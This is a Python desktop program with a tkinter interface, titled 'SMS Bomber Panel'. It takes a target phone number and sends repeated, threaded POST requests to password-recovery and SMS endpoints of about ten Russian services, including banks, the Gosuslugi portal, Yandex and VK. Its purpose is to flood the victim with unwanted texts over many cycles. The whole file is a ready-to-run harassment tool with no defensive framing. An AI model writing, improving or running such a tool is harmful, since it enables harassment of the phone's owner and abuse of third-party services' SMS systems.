Загрузка данных


import tkinter as tk
from tkinter import messagebox
import requests
import threading
import time

SERVICES = [
    {"url": "https://www.sberbank.ru/api/sms/recovery", "payload": {}},
    {"url": "https://id.tbank.ru/restore/sms", "payload": {}},
    {"url": "https://api.vk.com/method/auth.restore", "payload": {"v": "5.131"}},
    {"url": "https://esia.gosuslugi.ru/reset-password", "payload": {}},
    {"url": "https://www.wildberries.ru/api/forgot-password", "payload": {}},
    {"url": "https://www.ozon.ru/api/entry/forgot", "payload": {}},
    {"url": "https://passport.yandex.ru/restore", "payload": {}},
    {"url": "https://account.mail.ru/reset", "payload": {}},
    {"url": "https://api.delivery-club.ru/v1/user/restore", "payload": {}},
    {"url": "https://api.samokat.ru/v1/auth/request-reset", "payload": {}},
]

stop_flag = False

def send_sms(service, phone):
    if stop_flag:
        return
    try:
        service["payload"]["phone"] = phone
        r = requests.post(service["url"], json=service["payload"], timeout=5)
        return f"{service['url'].split('/')[2]}: {r.status_code}"
    except:
        return f"{service['url'].split('/')[2]}: ошибка"

def bomber(phone, cycles, delay, log_widget):
    global stop_flag
    stop_flag = False
    for cycle in range(cycles):
        if stop_flag:
            log_widget.insert(tk.END, "Остановлено пользователем\n")
            break
        threads = []
        results = []
        for s in SERVICES:
            if stop_flag:
                break
            s_copy = s.copy()
            t = threading.Thread(target=lambda: results.append(send_sms(s_copy, phone)))
            t.start()
            threads.append(t)
            time.sleep(0.05)
        for t in threads:
            t.join()
        for res in results:
            log_widget.insert(tk.END, res + "\n")
        log_widget.insert(tk.END, f"Цикл {cycle+1} из {cycles} завершён.\n")
        log_widget.see(tk.END)
        if not stop_flag:
            time.sleep(delay)
    log_widget.insert(tk.END, "Бомбинг завершён.\n")

def start_bombing(phone_entry, cycles_entry, delay_entry, log_widget):
    phone = phone_entry.get().strip()
    if not phone:
        messagebox.showerror("Ошибка", "Введите номер телефона")
        return
    try:
        cycles = int(cycles_entry.get())
        delay = int(delay_entry.get())
    except:
        messagebox.showerror("Ошибка", "Циклы и задержка должны быть числами")
        return
    threading.Thread(target=bomber, args=(phone, cycles, delay, log_widget), daemon=True).start()

def stop_bombing():
    global stop_flag
    stop_flag = True

def create_panel():
    root = tk.Tk()
    root.title("SMS Bomber Panel")
    root.geometry("600x500")
    root.resizable(False, False)

    frame = tk.Frame(root)
    frame.pack(pady=10)

    tk.Label(frame, text="Номер телефона (11 цифр, без +):").grid(row=0, column=0, padx=5, pady=5)
    phone_entry = tk.Entry(frame, width=15)
    phone_entry.grid(row=0, column=1, padx=5, pady=5)

    tk.Label(frame, text="Количество циклов (1 цикл = ~10 SMS):").grid(row=1, column=0, padx=5, pady=5)
    cycles_entry = tk.Entry(frame, width=10)
    cycles_entry.insert(0, "20")
    cycles_entry.grid(row=1, column=1, padx=5, pady=5)

    tk.Label(frame, text="Задержка между циклами (сек):").grid(row=2, column=0, padx=5, pady=5)
    delay_entry = tk.Entry(frame, width=10)
    delay_entry.insert(0, "2")
    delay_entry.grid(row=2, column=1, padx=5, pady=5)

    button_frame = tk.Frame(root)
    button_frame.pack(pady=5)

    start_btn = tk.Button(button_frame, text="Старт", bg="green", fg="white",
                          command=lambda: start_bombing(phone_entry, cycles_entry, delay_entry, log_text))
    start_btn.pack(side=tk.LEFT, padx=10)

    stop_btn = tk.Button(button_frame, text="Стоп", bg="red", fg="white",
                         command=stop_bombing)
    stop_btn.pack(side=tk.LEFT, padx=10)

    log_text = tk.Text(root, height=20, width=70)
    log_text.pack(pady=10)
    scroll = tk.Scrollbar(log_text)
    scroll.pack(side=tk.RIGHT, fill=tk.Y)
    log_text.config(yscrollcommand=scroll.set)
    scroll.config(command=log_text.yview)

    root.mainloop()

if __name__ == "__main__":
    create_panel()